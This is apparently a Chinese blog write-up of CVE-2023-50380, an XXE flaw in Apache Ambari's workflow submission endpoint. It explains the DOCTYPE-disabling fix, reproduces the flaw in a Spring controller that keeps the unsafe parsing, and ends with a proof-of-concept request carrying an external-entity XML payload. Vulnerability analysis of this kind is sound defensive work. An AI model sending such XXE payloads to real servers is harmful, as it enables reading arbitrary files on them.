CVE-2023-50380 Apache Ambari: authenticated users could perform XXE to read arbitrary files on the server

注意
本文最后更新于 2024-03-12,文中内容可能已过时。

CVE-2023-50380 Apache Ambari: authenticated users could perform XXE to read arbitrary files on the server

Oozie Workflow Scheduler 存在一个漏洞,允许低权限用户读取根级文件并提升权限。该漏洞是由于缺乏正确的用户输入验证而导致的。

此漏洞称为 XML 外部实体 (XXE) 注入攻击。攻击者可以利用XXE漏洞读取服务器上的任意文件,包括敏感系统文件。理论上,可以利用它来提升权限。

漏洞入口代码在 ambari/contrib/views/wfmanager/src/main/java/org/apache/oozie/ambari/view/OozieProxyImpersonator.java at trunk · apache/ambari (github.com)

  @POST
  @Path("/submitJob")
  @Consumes({MediaType.TEXT_PLAIN + "," + MediaType.TEXT_XML})
  public Response submitJob(String postBody, @Context HttpHeaders headers,
                            @Context UriInfo ui, @QueryParam("app.path") String appPath,
                            @QueryParam("projectId") String projectId,
                            @DefaultValue("false") @QueryParam("overwrite") Boolean overwrite,
                            @QueryParam("description") String description,
                            @QueryParam("jobType") String jobTypeString) {
    LOGGER.info("submit workflow job called");
    JobType jobType = JobType.valueOf(jobTypeString);
    if (StringUtils.isEmpty(appPath)) {
      throw new WfmWebException(ErrorCode.INVALID_EMPTY_INPUT);
    }
    appPath = workflowFilesService.getWorkflowFileName(appPath.trim(), jobType);
    try {
      if (!overwrite) {
        boolean fileExists = hdfsFileUtils.fileExists(appPath);
        if (fileExists) {
          throw new WfmWebException(ErrorCode.WORKFLOW_PATH_EXISTS);
        }
      }
      postBody = utils.formatXml(postBody); // vuln

修复的提交中做了一个 setFeature 。关键代码是 dbf.setFeature(FEATURES_DISALLOW_DOCTYPE, true);

image-20240306151319501

这行代码是在使用Java中的DocumentBuilderFactory类时设置一个特性,即"http://apache.org/xml/features/disallow-doctype-decl",并将其值设置为true。这个特性的目的是禁用XML文档中的文档类型声明( DOCTYPE 声明),从而提高应用程序对 XXE(XML External Entity)攻击的防御能力。

XXE 攻击的本质是利用 XML 解析器处理外部实体引用的功能,攻击者可以通过恶意构造的 XML 文档引用外部实体,从而读取敏感文件或执行其他恶意操作。禁用 DOCTYPE 声明是一种有效的防御措施之一,因为 DOCTYPE 声明通常用于定义文档的结构,包括引用外部实体的定义。

设置"http://apache.org/xml/features/disallow-doctype-decl"true的效果是告诉 XML 解析器在处理 XML 文档时不要接受任何 DOCTYPE 声明,这样就防止了外部实体引用的利用。

在这里,当将某个功能设置为 true 时,表示XML处理将受到实现的限制。这些限制可能涉及到实现对XML处理的一些限制,例如实体扩展的限制和可能消耗大量资源的XML Schema结构。这是为了防止处理过程导致不必要的资源消耗,特别是在安全性方面的考虑。

这里使用 Spring Web 去模拟复现。

package com.example.ambari;

import org.apache.commons.lang.StringUtils;
import org.springframework.web.bind.annotation.*;

@RestController
@RequestMapping("/api")
public class Controller {
    private final Utils utils = new Utils();
    @PostMapping("/submitJob")
    public void submitJob(@RequestBody String postBody, @RequestParam(name = "app.path") String appPath) {
        if (StringUtils.isEmpty(appPath)) {
            System.out.println("throw new WfmWebException(ErrorCode.INVALID_EMPTY_INPUT);");
        }
        try {
            postBody = utils.formatXml(postBody);
        } catch(Exception ex) {

        }
    }
}

发送类似的报文即可 XXE 攻击。

POST /api/submitJob?app.path=ikun HTTP/1.1
Host: 10.91.56.84:8080
Content-Length: 165
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Connection: close

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [
<!ENTITY url SYSTEM "http://10.91.56.84:8080/api/submitJob?app.path=ikun" >
]>
<xxe>&url;</xxe>